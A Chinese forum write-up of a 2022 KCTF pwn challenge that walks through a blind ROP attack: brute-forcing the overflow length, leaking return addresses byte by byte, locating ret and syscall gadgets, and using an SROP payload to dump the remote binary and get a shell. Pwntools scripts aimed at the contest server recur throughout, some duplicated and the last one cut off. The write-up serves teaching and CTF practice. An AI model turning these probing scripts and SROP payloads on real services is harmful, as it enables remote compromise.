首页
社区
课程
招聘
[原创]KCTF第六题废土末世wp
发表于: 2022-6-2 07:56 15681

[原创]KCTF第六题废土末世wp

2022-6-2 07:56
15681

来自CTF wiki:
BROP 是没有对应应用程序的源代码或者二进制文件下,对程序进行攻击,劫持程序的执行流
攻击条件

暴力枚举获取栈溢出长度,逐字符比较泄露返回地址,获取gadget,leak出ELF进行进一步分析,写rop来getshell

接下来我们以2022 KCTF 的第六题废土末世为例子,一起来分析一下BROP类题目的解题流程

如果是BROP类题目,那么一定会有溢出点,所以首先通过爆破获取缓冲区长度:

然后来看看结果在这里插入图片描述

可以看到缓冲区长度应该是16

接下来就是要去泄露程序内容,这里我们将程序返回结果分为三种:

然后来看看爆破结果:
在这里插入图片描述

可以看到有两种情况都能让程序继续运行,分别是0xb0和0xce,我们来试一下:
在这里插入图片描述
在这里插入图片描述

这里会发现,当输入的是0xb0的时候程序直接重启了,所以直接推测输入0xb0是直接返回到了程序入口

当输入是0xce的时候是执行的正常流程。并且这里能够看出程序在读取输入的时候是调用了一个call了一个函数的,这样程序的结构才是输入,返回到下一个输出.

现在我们确定了原本程序的第十七个字节应该是0xce,以此为基础继续单字节爆破:

在这里插入图片描述

再爆破一字节:
在这里插入图片描述

到这里可以得到的结论就多起来了,首先是0x40,把爆破得到的三个字节组合一下:
0x4000ce,这不就是一个64位没开pie的程序的text段上的地址嘛

从这里我们大致猜测出了程序的架构,程序的保护情况(没开canary,没有pie)

再看这个0x60,说实话有点奇怪,为什么会有0x60,如果程序是64位没开pie,那么0x600000应该是数据段,正常来说应该不能执行的,但是如果本道题0x6000000段是rwx的呢,或者说没有开NX保护呢?都是有可能的,我们先暂且放一放这个0x60,继续通过0x40这里得到的结论来做

到这里我呢大概猜测出程序结构:

0x4000b0 程序入口

打印内容

call 读取输入

0x4000ce 打印 "TNT TNT!"

首先要找的就是ret,寻找方式其实也很简单,现在我们已经知道了程序正常执行的地址,如果把返回地址改成0x400xxx,然后把返回地址的下一个地址改成0x4000ce,如果正常运行了则说明返回地址处填写的是一个以ret结尾的gadget,至于会不会是其它操作+ret这种格式,其实不用担心,因为如果是这样的话,那么后面更大的地址处也会出现ret,所以只需要取地址最大的那个gadget,就一定是纯ret指令的地址。

一开始让倒数第三位为0进行爆破,发现跑出来的只有0xb0和0xce这两个老熟人,于是换成0x4001xx来爆破:

在这里插入图片描述

找到了两个新的success,根据上面的结论,0x400011是什么我不知道,但是我知道0x400106一定是ret指令

接下来要泄露的是syscall,这里可能有人会有疑惑,按照以往rop的经验,现在不是应该去寻找类似pop rdi;ret这类可以设置寄存器的gadget吗,但是对于这道题来说,它既然代码段小的可怜,很有可能并没有这些寄存器,而是采用syscall的形式来做到输入输出。而且最后我们控制程序执行流也是落到syscall指令,最后的一点原因,syscall比较好找。

如何来找呢,回头看我们会发现,我们到这里了还没有关注过stuck,这个程序结构非常简单,所以stuck基本不可能是因为进入了死循环,那么stuck住了说明程序要获取输入了,有几种情况呢,比如执行到了syscall,比如执行到了call 读取输入这条指令。

我们现在分析出的程序结构,在获取输入的时候应该是通过call来完成的,而正确的返回地址是0x4000ce,call指令一般是五个字节,所以可以合理的分析出,如果返回地址被我们填成0x4000c9,程序应该会再次获取输入,也就是会stuck住,我们来看看结果:

在这里插入图片描述
在这里插入图片描述

大致整理一下,会stuck的有:
0xb5,0xb6,0xb8,0xc2,0xc7,0xc9,0xec, 0xed, 0xee, 0xef, 0xf2, 0xf3

可以看到0xc9确实会stuck住,并且0xc7也会,一个syscall是两字节,这里猜测是0xc7为syscall,执行的是write,然后call 获取输入

到这里我们其实已经可以控制程序执行流了,只需要用SROP技术,先通过读入指定长度的数据控制rax,然后执行syscall,在后面设置好寄存器即可控制执行流。利用执行流执行write(1,0x400000,0x2000)即可把远程的程序直接leak下来,拿到ida里静态分析就舒服多了。

在具体做的时候要注意rop里不能用0xc9那里的call,会扰乱执行流,并且我们发现0xec, 0xed, 0xee, 0xef, 0xf2, 0xf3这几个也可以让程序stuck,所以这里很容易想到这几个地址应该是获取输入的函数内的地址,所以这里避开call指令,直接调到函数入口处实现读入,所以返回地址填成0x40000ec试试看能不能成功:

在这里插入图片描述
可以看到成功将程序本身打印出来了,我们接收一下,拿到二进制文件放进IDA里看看:

在这里插入图片描述

从IDA分析的结果来看,程序的结构和我们分析的基本一致。
放进gdb看一下发现0x600000居然是rwx段,所以说当初跳到0x6000xx的时候也能success
在这里插入图片描述

接下来就是思考如何getshell,这里其实直接srop写shellcode然后执行就可以了

如果0x600000段不是rwx的呢,也是可以做的,还是先通过srop将栈迁移到0x600000段上并且执行mprotect,因为程序段中有syscall ;call read这种代码片段,并且read函数在读入的时候是完全根据rsp来确定向哪里读入的,所以我们始终可以通过覆盖返回地址控制执行流。

最后附上解题exp:

成功打通:
在这里插入图片描述

def get_overflow_length():
    global io
    len=1
    while True:
        try:
            io=remote("221.228.109.254",10045)
            sa("hacker, TNT!\n",'a'*len)
            print("now trying length is "+str(len))
            res=io.recv()
            io.close()
            if "TNT TNT!" not in res:
                return len-1
            else:
                len+=1
        except EOFError:
            io.close()
            return len-1
print("overflow length is "+str(get_overflow_length()))
def get_overflow_length():
    global io
    len=1
    while True:
        try:
            io=remote("221.228.109.254",10045)
            sa("hacker, TNT!\n",'a'*len)
            print("now trying length is "+str(len))
            res=io.recv()
            io.close()
            if "TNT TNT!" not in res:
                return len-1
            else:
                len+=1
        except EOFError:
            io.close()
            return len-1
print("overflow length is "+str(get_overflow_length()))
 
io=remote('221.228.109.254',10031)
sa("hacker, TNT!\n",payload)
res=io.recv(timeout=3)
if "TNT" in res:
    return "success"
else:
    return "stuck"
io=remote('221.228.109.254',10031)
sa("hacker, TNT!\n",payload)
res=io.recv(timeout=3)
if "TNT" in res:
    return "success"
else:
    return "stuck"
return "crash"
return "crash"
对于本道题来说,知道缓冲区为16,所以要爆破的是第十七字节,从0255,于是写下如下代码:
```python
ans=open("ans.txt",'wb')
for i in range(256):
    ans.write(hex(i)+"----->"+probe('a'*16+chr(i))+'\n')
对于本道题来说,知道缓冲区为16,所以要爆破的是第十七字节,从0255,于是写下如下代码:
```python
ans=open("ans.txt",'wb')
for i in range(256):
    ans.write(hex(i)+"----->"+probe('a'*16+chr(i))+'\n')
 
 
 
 
ans=open("ans.txt",'wb')
for i in range(256):
    ans.write(hex(i)+"----->"+probe('a'*16+'\xce'+chr(i))+'\n')
ans=open("ans.txt",'wb')
for i in range(256):
    ans.write(hex(i)+"----->"+probe('a'*16+'\xce'+chr(i))+'\n')
 
 
 
 
 
 
 
 
 
 
ans=open("ans.txt",'wb')
for i in range(256):
    ans.write(hex(i)+"----->"+probe('a'*16+p64(0x400100+i)+p64(0x4000ce))+'\n')
ans=open("ans.txt",'wb')
for i in range(256):
    ans.write(hex(i)+"----->"+probe('a'*16+p64(0x400100+i)+p64(0x4000ce))+'\n')
 
 
 
 
 
 
 
 
 
io=remote('221.228.109.254',10001)
ret=0x400106
sigframe = SigreturnFrame()
sigframe.rax = 1
sigframe.rdi = 1
sigframe.rsi = 0x400000
sigframe.rdx = 0x1000
sigframe.rip = 0x4000c7
payload=b'a'*16+p64(0x4000ec)+p64(0x4000c7)+bytes(sigframe)
io.send(payload)
sleep(1)
io.send('a'*15)
irt()
io=remote('221.228.109.254',10001)
ret=0x400106
sigframe = SigreturnFrame()
sigframe.rax = 1
sigframe.rdi = 1
sigframe.rsi = 0x400000

[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)

收藏
免费 6
支持
分享
最新回复 (1)
雪    币: 4120
活跃值: (5822)
能力值: ( LV8,RANK:120 )
在线值:
发帖
回帖
粉丝
2
2022-7-6 16:07
0
游客
登录 | 注册 方可回帖
返回
//